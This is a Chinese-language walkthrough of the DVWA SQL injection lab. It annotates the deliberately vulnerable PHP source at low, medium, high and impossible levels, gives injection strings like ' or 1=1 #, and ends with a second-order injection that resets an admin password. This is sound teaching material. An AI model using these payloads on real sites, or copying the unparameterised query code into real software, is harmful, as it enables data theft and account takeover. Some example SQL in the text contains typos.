DVWA SQL Injection 過關秘籍.

LOW

 1if( isset( $_REQUEST[ 'Submit' ] ) ) {
 2    // Get input
 3    $id = $_REQUEST[ 'id' ];
 4
 5    // Check database
 6    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
 7    // 並沒有做什麼注入防護
 8    // 嘗試構造:
 9    // select first_name, last_name from from users where user_id = '1' and 1=1;
10    // select first_name, last_name from from users where user_id = '1' and 1=2;
11    // select first_name, last_name from from users where user_id = '1' or 1=1;
12
13    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
14
15    // Get results
16    $num = mysql_numrows( $result );
17    $i   = 0;
18    while( $i < $num ) {
19        // Get values
20        $first = mysql_result( $result, $i, "first_name" );
21        $last  = mysql_result( $result, $i, "last_name" );
22
23        // Feedback for end user
24        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
25
26        // Increase loop count
27        $i++;
28    }
29
30    mysql_close();
31}

Medium

 1if( isset( $_POST[ 'Submit' ] ) ) {
 2    // Get input
 3
 4    // 換成了Post 這也太普通了
 5    // 使用一些網絡請求工具照樣改,比如BurpSuite,PostMan,curl.
 6    $id = $_POST[ 'id' ];
 7    $id = mysql_real_escape_string( $id );
 8    // mysql_real_escape_string 可以對以下字符進行轉義
 9    // \x00, \n, \r, \, ', " 和 \x1a.
10    // 值得注意的是 mysql_real_escape_string 函數所在的MYSQL擴展在
11    // PHP 5.5.0 起已廢棄,並在自 PHP 7.0.0 開始被移除。
12
13    // Check database
14    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
15    // 嘗試構造:
16    // SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;
17
18    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
19
20    // Get results
21    $num = mysql_numrows( $result );
22    $i   = 0;
23    while( $i < $num ) {
24        // Display values
25        $first = mysql_result( $result, $i, "first_name" );
26        $last  = mysql_result( $result, $i, "last_name" );
27
28        // Feedback for end user
29        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
30
31        // Increase loop count
32        $i++;
33    }
34
35    //mysql_close();
36}

High

 1if( isset( $_SESSION [ 'id' ] ) ) {
 2    // Get input
 3    $id = $_SESSION[ 'id' ];
 4
 5    // Check database
 6    // 看起來做了返回條目限制
 7    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
 8    // 沒什麼套路
 9    // SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 # ' LIMIT 1;
10
11    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
12
13    // Get results
14    $num = mysql_numrows( $result );
15    $i   = 0;
16    while( $i < $num ) {
17        // Get values
18        $first = mysql_result( $result, $i, "first_name" );
19        $last  = mysql_result( $result, $i, "last_name" );
20
21        // Feedback for end user
22        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
23
24        // Increase loop count
25        $i++;
26    }
27
28    mysql_close();
29}

impossible

 1if( isset( $_GET[ 'Submit' ] ) ) {
 2    // Check Anti-CSRF token
 3    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 4
 5    // Get input
 6    $id = $_GET[ 'id' ];
 7
 8    // Was a number entered?
 9    if(is_numeric( $id )) {
10        // Check the database
11        // 這是!PDO!
12        // PDO 是一種PHP中比較先進的面向對象形式的數據庫訪問技術
13        // 不過即使是面向對象它還是事務腳本形式的。
14        // 提供了防SQL注入的功能。
15        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
16        // 無法注入
17
18        $data->bindParam( ':id', $id, PDO::PARAM_INT );
19        $data->execute();
20        $row = $data->fetch();
21
22        // Make sure only 1 result is returned
23        if( $data->rowCount() == 1 ) {
24            // Get values
25            $first = $row[ 'first_name' ];
26            $last  = $row[ 'last_name' ];
27
28            // Feedback for end user
29            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
30        }
31    }
32}
33
34// Generate Anti-CSRF tsoken
35generateSessionToken();

Extension

二次注入:

網站有管理員admin.

一位惡意用戶註冊了admin'#用戶.

惡意用戶更新了自己的密碼.

更新SQL:

update from users set password = ‘$password’ where username = ‘$username’ and password ‘$password’

替換為惡意用戶寫入的數據:

update from users set password = #{password} where username = ‘admin’#’ and password = ‘$password’

注意# 後面的語句被註釋掉了, 所以真正被執行的只有.

update from users set password = #{password} where username = ‘admin’

惡意用戶可以無視管理員admin的密碼驗證,直接修改密碼。